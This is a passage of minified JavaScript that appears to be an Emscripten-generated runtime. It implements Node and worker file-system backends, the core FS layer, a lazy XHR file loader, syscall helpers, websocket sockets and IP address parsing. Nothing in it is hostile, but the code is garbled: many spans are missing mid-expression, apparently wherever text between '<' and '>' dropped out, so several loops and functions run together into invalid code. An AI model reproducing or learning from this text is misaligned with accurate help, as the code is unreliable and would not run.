FS.ErrnoError(ERRNO_CODES.EINVAL)}}),node_ops:{getattr:(function(node){var path=NODEFS.realPath(node);var stat;try{stat=fs.lstatSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(NODEFS.isWindows&&!stat.blksize){stat.blksize=4096}if(NODEFS.isWindows&&!stat.blocks){stat.blocks=(stat.size+stat.blksize-1)/stat.blksize|0}return{dev:stat.dev,ino:stat.ino,mode:stat.mode,nlink:stat.nlink,uid:stat.uid,gid:stat.gid,rdev:stat.rdev,size:stat.size,atime:stat.atime,mtime:stat.mtime,ctime:stat.ctime,blksize:stat.blksize,blocks:stat.blocks}}),setattr:(function(node,attr){var path=NODEFS.realPath(node);try{if(attr.mode!==undefined){fs.chmodSync(path,attr.mode);node.mode=attr.mode}if(attr.timestamp!==undefined){var date=new Date(attr.timestamp);fs.utimesSync(path,date,date)}if(attr.size!==undefined){fs.truncateSync(path,attr.size)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),lookup:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);var mode=NODEFS.getMode(path);return NODEFS.createNode(parent,name,mode)}),mknod:(function(parent,name,mode,dev){var node=NODEFS.createNode(parent,name,mode,dev);var path=NODEFS.realPath(node);try{if(FS.isDir(node.mode)){fs.mkdirSync(path,node.mode)}else{fs.writeFileSync(path,"",{mode:node.mode})}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return node}),rename:(function(oldNode,newDir,newName){var oldPath=NODEFS.realPath(oldNode);var newPath=PATH.join2(NODEFS.realPath(newDir),newName);try{fs.renameSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),unlink:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.unlinkSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),rmdir:(function(parent,name){var path=PATH.join2(NODEFS.realPath(parent),name);try{fs.rmdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readdir:(function(node){var path=NODEFS.realPath(node);try{return fs.readdirSync(path)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),symlink:(function(parent,newName,oldPath){var newPath=PATH.join2(NODEFS.realPath(parent),newName);try{fs.symlinkSync(oldPath,newPath)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),readlink:(function(node){var path=NODEFS.realPath(node);try{path=fs.readlinkSync(path);path=NODEJS_PATH.relative(NODEJS_PATH.resolve(node.mount.opts.root),path);return path}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}})},stream_ops:{open:(function(stream){var path=NODEFS.realPath(stream.node);try{if(FS.isFile(stream.node.mode)){stream.nfd=fs.openSync(path,NODEFS.flagsForNode(stream.flags))}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),close:(function(stream){try{if(FS.isFile(stream.node.mode)&&stream.nfd){fs.closeSync(stream.nfd)}}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),read:(function(stream,buffer,offset,length,position){if(length===0)return 0;try{return fs.readSync(stream.nfd,NODEFS.bufferFrom(buffer.buffer),offset,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),write:(function(stream,buffer,offset,length,position){try{return fs.writeSync(stream.nfd,NODEFS.bufferFrom(buffer.buffer),offset,length,position)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){try{var stat=fs.fstatSync(stream.nfd);position+=stat.size}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};var WORKERFS={DIR_MODE:16895,FILE_MODE:33279,reader:null,mount:(function(mount){assert(ENVIRONMENT_IS_WORKER);if(!WORKERFS.reader)WORKERFS.reader=new FileReaderSync;var root=WORKERFS.createNode(null,"/",WORKERFS.DIR_MODE,0);var createdParents={};function ensureParent(path){var parts=path.split("/");var parent=root;for(var i=0;i=stream.node.size)return 0;var chunk=stream.node.contents.slice(position,position+length);var ab=WORKERFS.reader.readAsArrayBuffer(chunk);buffer.set(new Uint8Array(ab),offset);return chunk.size}),write:(function(stream,buffer,offset,length,position){throw new FS.ErrnoError(ERRNO_CODES.EIO)}),llseek:(function(stream,offset,whence){var position=offset;if(whence===1){position+=stream.position}else if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.size}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};STATICTOP+=16;STATICTOP+=16;STATICTOP+=16;var FS={root:null,mounts:[],devices:{},streams:[],nextInode:1,nameTable:null,currentPath:"/",initialized:false,ignorePermissions:true,trackingDelegate:{},tracking:{openFlags:{READ:1,WRITE:2}},ErrnoError:null,genericErrors:{},filesystems:null,syncFSRequests:0,handleFSError:(function(e){if(!(e instanceof FS.ErrnoError))throw e+" : "+stackTrace();return ___setErrNo(e.errno)}),lookupPath:(function(path,opts){path=PATH.resolve(FS.cwd(),path);opts=opts||{};if(!path)return{path:"",node:null};var defaults={follow_mount:true,recurse_count:0};for(var key in defaults){if(opts[key]===undefined){opts[key]=defaults[key]}}if(opts.recurse_count>8){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}var parts=PATH.normalizeArray(path.split("/").filter((function(p){return!!p})),false);var current=FS.root;var current_path="/";for(var i=0;i40){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}}}}return{path:current_path,node:current}}),getPath:(function(node){var path;while(true){if(FS.isRoot(node)){var mount=node.mount.mountpoint;if(!path)return mount;return mount[mount.length-1]!=="/"?mount+"/"+path:mount+path}path=path?node.name+"/"+path:node.name;node=node.parent}}),hashName:(function(parentid,name){var hash=0;for(var i=0;i>>0)%FS.nameTable.length}),hashAddNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);node.name_next=FS.nameTable[hash];FS.nameTable[hash]=node}),hashRemoveNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);if(FS.nameTable[hash]===node){FS.nameTable[hash]=node.name_next}else{var current=FS.nameTable[hash];while(current){if(current.name_next===node){current.name_next=node.name_next;break}current=current.name_next}}}),lookupNode:(function(parent,name){var err=FS.mayLookup(parent);if(err){throw new FS.ErrnoError(err,parent)}var hash=FS.hashName(parent.id,name);for(var node=FS.nameTable[hash];node;node=node.name_next){var nodeName=node.name;if(node.parent.id===parent.id&&nodeName===name){return node}}return FS.lookup(parent,name)}),createNode:(function(parent,name,mode,rdev){if(!FS.FSNode){FS.FSNode=(function(parent,name,mode,rdev){if(!parent){parent=this}this.parent=parent;this.mount=parent.mount;this.mounted=null;this.id=FS.nextInode++;this.name=name;this.mode=mode;this.node_ops={};this.stream_ops={};this.rdev=rdev});FS.FSNode.prototype={};var readMode=292|73;var writeMode=146;Object.defineProperties(FS.FSNode.prototype,{read:{get:(function(){return(this.mode&readMode)===readMode}),set:(function(val){val?this.mode|=readMode:this.mode&=~readMode})},write:{get:(function(){return(this.mode&writeMode)===writeMode}),set:(function(val){val?this.mode|=writeMode:this.mode&=~writeMode})},isFolder:{get:(function(){return FS.isDir(this.mode)})},isDevice:{get:(function(){return FS.isChrdev(this.mode)})}})}var node=new FS.FSNode(parent,name,mode,rdev);FS.hashAddNode(node);return node}),destroyNode:(function(node){FS.hashRemoveNode(node)}),isRoot:(function(node){return node===node.parent}),isMountpoint:(function(node){return!!node.mounted}),isFile:(function(mode){return(mode&61440)===32768}),isDir:(function(mode){return(mode&61440)===16384}),isLink:(function(mode){return(mode&61440)===40960}),isChrdev:(function(mode){return(mode&61440)===8192}),isBlkdev:(function(mode){return(mode&61440)===24576}),isFIFO:(function(mode){return(mode&61440)===4096}),isSocket:(function(mode){return(mode&49152)===49152}),flagModes:{"r":0,"rs":1052672,"r+":2,"w":577,"wx":705,"xw":705,"w+":578,"wx+":706,"xw+":706,"a":1089,"ax":1217,"xa":1217,"a+":1090,"ax+":1218,"xa+":1218},modeStringToFlags:(function(str){var flags=FS.flagModes[str];if(typeof flags==="undefined"){throw new Error("Unknown file open mode: "+str)}return flags}),flagsToPermissionString:(function(flag){var perms=["r","w","rw"][flag&3];if(flag&512){perms+="w"}return perms}),nodePermissions:(function(node,perms){if(FS.ignorePermissions){return 0}if(perms.indexOf("r")!==-1&&!(node.mode&292)){return ERRNO_CODES.EACCES}else if(perms.indexOf("w")!==-1&&!(node.mode&146)){return ERRNO_CODES.EACCES}else if(perms.indexOf("x")!==-1&&!(node.mode&73)){return ERRNO_CODES.EACCES}return 0}),mayLookup:(function(dir){var err=FS.nodePermissions(dir,"x");if(err)return err;if(!dir.node_ops.lookup)return ERRNO_CODES.EACCES;return 0}),mayCreate:(function(dir,name){try{var node=FS.lookupNode(dir,name);return ERRNO_CODES.EEXIST}catch(e){}return FS.nodePermissions(dir,"wx")}),mayDelete:(function(dir,name,isdir){var node;try{node=FS.lookupNode(dir,name)}catch(e){return e.errno}var err=FS.nodePermissions(dir,"wx");if(err){return err}if(isdir){if(!FS.isDir(node.mode)){return ERRNO_CODES.ENOTDIR}if(FS.isRoot(node)||FS.getPath(node)===FS.cwd()){return ERRNO_CODES.EBUSY}}else{if(FS.isDir(node.mode)){return ERRNO_CODES.EISDIR}}return 0}),mayOpen:(function(node,flags){if(!node){return ERRNO_CODES.ENOENT}if(FS.isLink(node.mode)){return ERRNO_CODES.ELOOP}else if(FS.isDir(node.mode)){if(FS.flagsToPermissionString(flags)!=="r"||flags&512){return ERRNO_CODES.EISDIR}}return FS.nodePermissions(node,FS.flagsToPermissionString(flags))}),MAX_OPEN_FDS:4096,nextfd:(function(fd_start,fd_end){fd_start=fd_start||0;fd_end=fd_end||FS.MAX_OPEN_FDS;for(var fd=fd_start;fd<=fd_end;fd++){if(!FS.streams[fd]){return fd}}throw new FS.ErrnoError(ERRNO_CODES.EMFILE)}),getStream:(function(fd){return FS.streams[fd]}),createStream:(function(stream,fd_start,fd_end){if(!FS.FSStream){FS.FSStream=(function(){});FS.FSStream.prototype={};Object.defineProperties(FS.FSStream.prototype,{object:{get:(function(){return this.node}),set:(function(val){this.node=val})},isRead:{get:(function(){return(this.flags&2097155)!==1})},isWrite:{get:(function(){return(this.flags&2097155)!==0})},isAppend:{get:(function(){return this.flags&1024})}})}var newStream=new FS.FSStream;for(var p in stream){newStream[p]=stream[p]}stream=newStream;var fd=FS.nextfd(fd_start,fd_end);stream.fd=fd;FS.streams[fd]=stream;return stream}),closeStream:(function(fd){FS.streams[fd]=null}),chrdev_stream_ops:{open:(function(stream){var device=FS.getDevice(stream.node.rdev);stream.stream_ops=device.stream_ops;if(stream.stream_ops.open){stream.stream_ops.open(stream)}}),llseek:(function(){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)})},major:(function(dev){return dev>>8}),minor:(function(dev){return dev&255}),makedev:(function(ma,mi){return ma<<8|mi}),registerDevice:(function(dev,ops){FS.devices[dev]={stream_ops:ops}}),getDevice:(function(dev){return FS.devices[dev]}),getMounts:(function(mount){var mounts=[];var check=[mount];while(check.length){var m=check.pop();mounts.push(m);check.push.apply(check,m.mounts)}return mounts}),syncfs:(function(populate,callback){if(typeof populate==="function"){callback=populate;populate=false}FS.syncFSRequests++;if(FS.syncFSRequests>1){console.log("warning: "+FS.syncFSRequests+" FS.syncfs operations in flight at once, probably just doing extra work")}var mounts=FS.getMounts(FS.root.mount);var completed=0;function doCallback(err){assert(FS.syncFSRequests>0);FS.syncFSRequests--;return callback(err)}function done(err){if(err){if(!done.errored){done.errored=true;return doCallback(err)}return}if(++completed>=mounts.length){doCallback(null)}}mounts.forEach((function(mount){if(!mount.type.syncfs){return done(null)}mount.type.syncfs(mount,populate,done)}))}),mount:(function(type,opts,mountpoint){var root=mountpoint==="/";var pseudo=!mountpoint;var node;if(root&&FS.root){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}else if(!root&&!pseudo){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});mountpoint=lookup.path;node=lookup.node;if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}}var mount={type:type,opts:opts,mountpoint:mountpoint,mounts:[]};var mountRoot=type.mount(mount);mountRoot.mount=mount;mount.root=mountRoot;if(root){FS.root=mountRoot}else if(node){node.mounted=mount;if(node.mount){node.mount.mounts.push(mount)}}return mountRoot}),unmount:(function(mountpoint){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});if(!FS.isMountpoint(lookup.node)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=lookup.node;var mount=node.mounted;var mounts=FS.getMounts(mount);Object.keys(FS.nameTable).forEach((function(hash){var current=FS.nameTable[hash];while(current){var next=current.name_next;if(mounts.indexOf(current.mount)!==-1){FS.destroyNode(current)}current=next}}));node.mounted=null;var idx=node.mount.mounts.indexOf(mount);assert(idx!==-1);node.mount.mounts.splice(idx,1)}),lookup:(function(parent,name){return parent.node_ops.lookup(parent,name)}),mknod:(function(path,mode,dev){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);if(!name||name==="."||name===".."){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var err=FS.mayCreate(parent,name);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.mknod){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return parent.node_ops.mknod(parent,name,mode,dev)}),create:(function(path,mode){mode=mode!==undefined?mode:438;mode&=4095;mode|=32768;return FS.mknod(path,mode,0)}),mkdir:(function(path,mode){mode=mode!==undefined?mode:511;mode&=511|512;mode|=16384;return FS.mknod(path,mode,0)}),mkdirTree:(function(path,mode){var dirs=path.split("/");var d="";for(var i=0;ithis.length-1||idx<0){return undefined}var chunkOffset=idx%this.chunkSize;var chunkNum=idx/this.chunkSize|0;return this.getter(chunkNum)[chunkOffset]};LazyUint8Array.prototype.setDataGetter=function LazyUint8Array_setDataGetter(getter){this.getter=getter};LazyUint8Array.prototype.cacheLength=function LazyUint8Array_cacheLength(){var xhr=new XMLHttpRequest;xhr.open("HEAD",url,false);xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error("Couldn't load "+url+". Status: "+xhr.status);var datalength=Number(xhr.getResponseHeader("Content-length"));var header;var hasByteServing=(header=xhr.getResponseHeader("Accept-Ranges"))&&header==="bytes";var usesGzip=(header=xhr.getResponseHeader("Content-Encoding"))&&header==="gzip";var chunkSize=1024*1024;if(!hasByteServing)chunkSize=datalength;var doXHR=(function(from,to){if(from>to)throw new Error("invalid range ("+from+", "+to+") or no bytes requested!");if(to>datalength-1)throw new Error("only "+datalength+" bytes available! programmer error!");var xhr=new XMLHttpRequest;xhr.open("GET",url,false);if(datalength!==chunkSize)xhr.setRequestHeader("Range","bytes="+from+"-"+to);if(typeof Uint8Array!="undefined")xhr.responseType="arraybuffer";if(xhr.overrideMimeType){xhr.overrideMimeType("text/plain; charset=x-user-defined")}xhr.send(null);if(!(xhr.status>=200&&xhr.status<300||xhr.status===304))throw new Error("Couldn't load "+url+". Status: "+xhr.status);if(xhr.response!==undefined){return new Uint8Array(xhr.response||[])}else{return intArrayFromString(xhr.responseText||"",true)}});var lazyArray=this;lazyArray.setDataGetter((function(chunkNum){var start=chunkNum*chunkSize;var end=(chunkNum+1)*chunkSize-1;end=Math.min(end,datalength-1);if(typeof lazyArray.chunks[chunkNum]==="undefined"){lazyArray.chunks[chunkNum]=doXHR(start,end)}if(typeof lazyArray.chunks[chunkNum]==="undefined")throw new Error("doXHR failed!");return lazyArray.chunks[chunkNum]}));if(usesGzip||!datalength){chunkSize=datalength=1;datalength=this.getter(0).length;chunkSize=datalength;console.log("LazyFiles on gzip forces download of the whole file when length is accessed")}this._length=datalength;this._chunkSize=chunkSize;this.lengthKnown=true};if(typeof XMLHttpRequest!=="undefined"){if(!ENVIRONMENT_IS_WORKER)throw"Cannot do synchronous binary XHRs outside webworkers in modern browsers. Use --embed-file or --preload-file in emcc";var lazyArray=new LazyUint8Array;Object.defineProperties(lazyArray,{length:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._length})},chunkSize:{get:(function(){if(!this.lengthKnown){this.cacheLength()}return this._chunkSize})}});var properties={isDevice:false,contents:lazyArray}}else{var properties={isDevice:false,url:url}}var node=FS.createFile(parent,name,properties,canRead,canWrite);if(properties.contents){node.contents=properties.contents}else if(properties.url){node.contents=null;node.url=properties.url}Object.defineProperties(node,{usedBytes:{get:(function(){return this.contents.length})}});var stream_ops={};var keys=Object.keys(node.stream_ops);keys.forEach((function(key){var fn=node.stream_ops[key];stream_ops[key]=function forceLoadLazyFile(){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}return fn.apply(null,arguments)}}));stream_ops.read=function stream_ops_read(stream,buffer,offset,length,position){if(!FS.forceLoadFile(node)){throw new FS.ErrnoError(ERRNO_CODES.EIO)}var contents=stream.node.contents;if(position>=contents.length)return 0;var size=Math.min(contents.length-position,length);assert(size>=0);if(contents.slice){for(var i=0;i>2]=stat.dev;HEAP32[buf+4>>2]=0;HEAP32[buf+8>>2]=stat.ino;HEAP32[buf+12>>2]=stat.mode;HEAP32[buf+16>>2]=stat.nlink;HEAP32[buf+20>>2]=stat.uid;HEAP32[buf+24>>2]=stat.gid;HEAP32[buf+28>>2]=stat.rdev;HEAP32[buf+32>>2]=0;HEAP32[buf+36>>2]=stat.size;HEAP32[buf+40>>2]=4096;HEAP32[buf+44>>2]=stat.blocks;HEAP32[buf+48>>2]=stat.atime.getTime()/1e3|0;HEAP32[buf+52>>2]=0;HEAP32[buf+56>>2]=stat.mtime.getTime()/1e3|0;HEAP32[buf+60>>2]=0;HEAP32[buf+64>>2]=stat.ctime.getTime()/1e3|0;HEAP32[buf+68>>2]=0;HEAP32[buf+72>>2]=stat.ino;return 0}),doMsync:(function(addr,stream,len,flags){var buffer=new Uint8Array(HEAPU8.subarray(addr,addr+len));FS.msync(stream,buffer,0,len,flags)}),doMkdir:(function(path,mode){path=PATH.normalize(path);if(path[path.length-1]==="/")path=path.substr(0,path.length-1);FS.mkdir(path,mode,0);return 0}),doMknod:(function(path,mode,dev){switch(mode&61440){case 32768:case 8192:case 24576:case 4096:case 49152:break;default:return-ERRNO_CODES.EINVAL}FS.mknod(path,mode,dev);return 0}),doReadlink:(function(path,buf,bufsize){if(bufsize<=0)return-ERRNO_CODES.EINVAL;var ret=FS.readlink(path);var len=Math.min(bufsize,lengthBytesUTF8(ret));var endChar=HEAP8[buf+len];stringToUTF8(ret,buf,bufsize+1);HEAP8[buf+len]=endChar;return len}),doAccess:(function(path,amode){if(amode&~7){return-ERRNO_CODES.EINVAL}var node;var lookup=FS.lookupPath(path,{follow:true});node=lookup.node;var perms="";if(amode&4)perms+="r";if(amode&2)perms+="w";if(amode&1)perms+="x";if(perms&&FS.nodePermissions(node,perms)){return-ERRNO_CODES.EACCES}return 0}),doDup:(function(path,flags,suggestFD){var suggest=FS.getStream(suggestFD);if(suggest)FS.close(suggest);return FS.open(path,flags,0,suggestFD,suggestFD).fd}),doReadv:(function(stream,iov,iovcnt,offset){var ret=0;for(var i=0;i>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.read(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr;if(curr>2];var len=HEAP32[iov+(i*8+4)>>2];var curr=FS.write(stream,HEAP8,ptr,len,offset);if(curr<0)return-1;ret+=curr}return ret}),varargs:0,get:(function(varargs){SYSCALLS.varargs+=4;var ret=HEAP32[SYSCALLS.varargs-4>>2];return ret}),getStr:(function(){var ret=Pointer_stringify(SYSCALLS.get());return ret}),getStreamFromFD:(function(){var stream=FS.getStream(SYSCALLS.get());if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return stream}),getSocketFromFD:(function(){var socket=SOCKFS.getSocket(SYSCALLS.get());if(!socket)throw new FS.ErrnoError(ERRNO_CODES.EBADF);return socket}),getSocketAddress:(function(allowNull){var addrp=SYSCALLS.get(),addrlen=SYSCALLS.get();if(allowNull&&addrp===0)return null;var info=__read_sockaddr(addrp,addrlen);if(info.errno)throw new FS.ErrnoError(info.errno);info.addr=DNS.lookup_addr(info.addr)||info.addr;return info}),get64:(function(){var low=SYSCALLS.get(),high=SYSCALLS.get();if(low>=0)assert(high===0);else assert(high===-1);return low}),getZero:(function(){assert(SYSCALLS.get()===0)})};function ___syscall10(which,varargs){SYSCALLS.varargs=varargs;try{var path=SYSCALLS.getStr();FS.unlink(path);return 0}catch(e){if(typeof FS==="undefined"||!(e instanceof FS.ErrnoError))abort(e);return-e.errno}}var SOCKFS={mount:(function(mount){Module["websocket"]=Module["websocket"]&&"object"===typeof Module["websocket"]?Module["websocket"]:{};Module["websocket"]._callbacks={};Module["websocket"]["on"]=(function(event,callback){if("function"===typeof callback){this._callbacks[event]=callback}return this});Module["websocket"].emit=(function(event,param){if("function"===typeof this._callbacks[event]){this._callbacks[event].call(this,param)}});return FS.createNode(null,"/",16384|511,0)}),createSocket:(function(family,type,protocol){var streaming=type==1;if(protocol){assert(streaming==(protocol==6))}var sock={family:family,type:type,protocol:protocol,server:null,error:null,peers:{},pending:[],recv_queue:[],sock_ops:SOCKFS.websocket_sock_ops};var name=SOCKFS.nextname();var node=FS.createNode(SOCKFS.root,name,49152,0);node.sock=sock;var stream=FS.createStream({path:name,node:node,flags:FS.modeStringToFlags("r+"),seekable:false,stream_ops:SOCKFS.stream_ops});sock.stream=stream;return sock}),getSocket:(function(fd){var stream=FS.getStream(fd);if(!stream||!FS.isSocket(stream.node.mode)){return null}return stream.node.sock}),stream_ops:{poll:(function(stream){var sock=stream.node.sock;return sock.sock_ops.poll(sock)}),ioctl:(function(stream,request,varargs){var sock=stream.node.sock;return sock.sock_ops.ioctl(sock,request,varargs)}),read:(function(stream,buffer,offset,length,position){var sock=stream.node.sock;var msg=sock.sock_ops.recvmsg(sock,length);if(!msg){return 0}buffer.set(msg.buffer,offset);return msg.buffer.length}),write:(function(stream,buffer,offset,length,position){var sock=stream.node.sock;return sock.sock_ops.sendmsg(sock,buffer,offset,length)}),close:(function(stream){var sock=stream.node.sock;sock.sock_ops.close(sock)})},nextname:(function(){if(!SOCKFS.nextname.current){SOCKFS.nextname.current=0}return"socket["+SOCKFS.nextname.current++ +"]"}),websocket_sock_ops:{createPeer:(function(sock,addr,port){var ws;if(typeof addr==="object"){ws=addr;addr=null;port=null}if(ws){if(ws._socket){addr=ws._socket.remoteAddress;port=ws._socket.remotePort}else{var result=/ws[s]?:\/\/([^:]+):(\d+)/.exec(ws.url);if(!result){throw new Error("WebSocket URL must be in the format ws(s)://address:port")}addr=result[1];port=parseInt(result[2],10)}}else{try{var runtimeConfig=Module["websocket"]&&"object"===typeof Module["websocket"];var url="ws:#".replace("#","//");if(runtimeConfig){if("string"===typeof Module["websocket"]["url"]){url=Module["websocket"]["url"]}}if(url==="ws://"||url==="wss://"){var parts=addr.split("/");url=url+parts[0]+":"+port+"/"+parts.slice(1).join("/")}var subProtocols="binary";if(runtimeConfig){if("string"===typeof Module["websocket"]["subprotocol"]){subProtocols=Module["websocket"]["subprotocol"]}}subProtocols=subProtocols.replace(/^ +| +$/g,"").split(/ *, */);var opts=ENVIRONMENT_IS_NODE?{"protocol":subProtocols.toString()}:subProtocols;if(runtimeConfig&&null===Module["websocket"]["subprotocol"]){subProtocols="null";opts=undefined}var WebSocketConstructor;if(ENVIRONMENT_IS_NODE){WebSocketConstructor=require("ws")}else if(ENVIRONMENT_IS_WEB){WebSocketConstructor=window["WebSocket"]}else{WebSocketConstructor=WebSocket}ws=new WebSocketConstructor(url,opts);ws.binaryType="arraybuffer"}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EHOSTUNREACH)}}var peer={addr:addr,port:port,socket:ws,dgram_send_queue:[]};SOCKFS.websocket_sock_ops.addPeer(sock,peer);SOCKFS.websocket_sock_ops.handlePeerEvents(sock,peer);if(sock.type===2&&typeof sock.sport!=="undefined"){peer.dgram_send_queue.push(new Uint8Array([255,255,255,255,"p".charCodeAt(0),"o".charCodeAt(0),"r".charCodeAt(0),"t".charCodeAt(0),(sock.sport&65280)>>8,sock.sport&255]))}return peer}),getPeer:(function(sock,addr,port){return sock.peers[addr+":"+port]}),addPeer:(function(sock,peer){sock.peers[peer.addr+":"+peer.port]=peer}),removePeer:(function(sock,peer){delete sock.peers[peer.addr+":"+peer.port]}),handlePeerEvents:(function(sock,peer){var first=true;var handleOpen=(function(){Module["websocket"].emit("open",sock.stream.fd);try{var queued=peer.dgram_send_queue.shift();while(queued){peer.socket.send(queued);queued=peer.dgram_send_queue.shift()}}catch(e){peer.socket.close()}});function handleMessage(data){assert(typeof data!=="string"&&data.byteLength!==undefined);if(data.byteLength==0){return}data=new Uint8Array(data);var wasfirst=first;first=false;if(wasfirst&&data.length===10&&data[0]===255&&data[1]===255&&data[2]===255&&data[3]===255&&data[4]==="p".charCodeAt(0)&&data[5]==="o".charCodeAt(0)&&data[6]==="r".charCodeAt(0)&&data[7]==="t".charCodeAt(0)){var newport=data[8]<<8|data[9];SOCKFS.websocket_sock_ops.removePeer(sock,peer);peer.port=newport;SOCKFS.websocket_sock_ops.addPeer(sock,peer);return}sock.recv_queue.push({addr:peer.addr,port:peer.port,data:data});Module["websocket"].emit("message",sock.stream.fd)}if(ENVIRONMENT_IS_NODE){peer.socket.on("open",handleOpen);peer.socket.on("message",(function(data,flags){if(!flags.binary){return}handleMessage((new Uint8Array(data)).buffer)}));peer.socket.on("close",(function(){Module["websocket"].emit("close",sock.stream.fd)}));peer.socket.on("error",(function(error){sock.error=ERRNO_CODES.ECONNREFUSED;Module["websocket"].emit("error",[sock.stream.fd,sock.error,"ECONNREFUSED: Connection refused"])}))}else{peer.socket.onopen=handleOpen;peer.socket.onclose=(function(){Module["websocket"].emit("close",sock.stream.fd)});peer.socket.onmessage=function peer_socket_onmessage(event){handleMessage(event.data)};peer.socket.onerror=(function(error){sock.error=ERRNO_CODES.ECONNREFUSED;Module["websocket"].emit("error",[sock.stream.fd,sock.error,"ECONNREFUSED: Connection refused"])})}}),poll:(function(sock){if(sock.type===1&&sock.server){return sock.pending.length?64|1:0}var mask=0;var dest=sock.type===1?SOCKFS.websocket_sock_ops.getPeer(sock,sock.daddr,sock.dport):null;if(sock.recv_queue.length||!dest||dest&&dest.socket.readyState===dest.socket.CLOSING||dest&&dest.socket.readyState===dest.socket.CLOSED){mask|=64|1}if(!dest||dest&&dest.socket.readyState===dest.socket.OPEN){mask|=4}if(dest&&dest.socket.readyState===dest.socket.CLOSING||dest&&dest.socket.readyState===dest.socket.CLOSED){mask|=16}return mask}),ioctl:(function(sock,request,arg){switch(request){case 21531:var bytes=0;if(sock.recv_queue.length){bytes=sock.recv_queue[0].data.length}HEAP32[arg>>2]=bytes;return 0;default:return ERRNO_CODES.EINVAL}}),close:(function(sock){if(sock.server){try{sock.server.close()}catch(e){}sock.server=null}var peers=Object.keys(sock.peers);for(var i=0;i>>0}function __inet_pton6_raw(str){var words;var w,offset,z;var valid6regx=/^((?=.*::)(?!.*::.+::)(::)?([\dA-F]{1,4}:(:|\b)|){5}|([\dA-F]{1,4}:){6})((([\dA-F]{1,4}((?!\3)::|:\b|$))|(?!\2\3)){2}|(((2[0-4]|1\d|[1-9])?\d|25[0-5])\.?\b){4})$/i;var parts=[];if(!valid6regx.test(str)){return null}if(str==="::"){return[0,0,0,0,0,0,0,0]}if(str.indexOf("::")===0){str=str.replace("::","Z:")}else{str=str.replace("::",":Z:")}if(str.indexOf(".")>0){str=str.replace(new RegExp("[.]","g"),":");words=str.split(":");words[words.length-4]=parseInt(words[words.length-4])+parseInt(words[words.length-3])*256;words[words.length-3]=parseInt(words[words.length-2])+parseInt(words[words.length-1])*256;words=words.slice(0,words.length-2)}else{words=str.split(":")}offset=0;z=0;for(w=0;w>8&255)+"."+(addr>>16&255)+"."+(addr>>24&255)}function __inet_ntop6_raw(ints){var str="";var word=0;var longest=0;var lastzero=0;var zstart=0;var len=0;var i=0;var parts=[ints[0]&65535,ints[0]>>16,ints[1]&65535,ints[1]>>16,ints[2]&65535,ints[2]>>16,ints[3]&65535,ints[3]>>16];var hasipv4=true;var v4part="";for(i=0;i<5;i++){if(parts[i]!==0){hasipv4=false;break}}if(hasipv4){v4part=__inet_ntop4_raw(parts[6]|parts[7]<<16);if(parts[5]===-1){str="::ffff:";str+=v4part;return str}if(parts[5]===0){str="::";if(v4part==="0.0.0.0")v4part="";if(v4part==="0.0.0.1")v4part="1";str+=v4part;return str}}for(word=0;word<8;word++){if(parts[word]===0){if(word-lastzero>1){len=0}lastzero=word;len++}if(len>longest){longest=len;zstart=word-longest+1}}for(word=0;word<8;word++){if(longest>1){if(parts[word]===0&&word>=zstart&&word>1];var port=_ntohs(HEAP16[sa+2>>1]);var addr;switch(family){case 2:if(salen!==16){return{errno:ERRNO_CODES.EINVAL}}addr=HEAP32[sa+4>>2];addr=__inet_ntop4_raw(addr);break;case 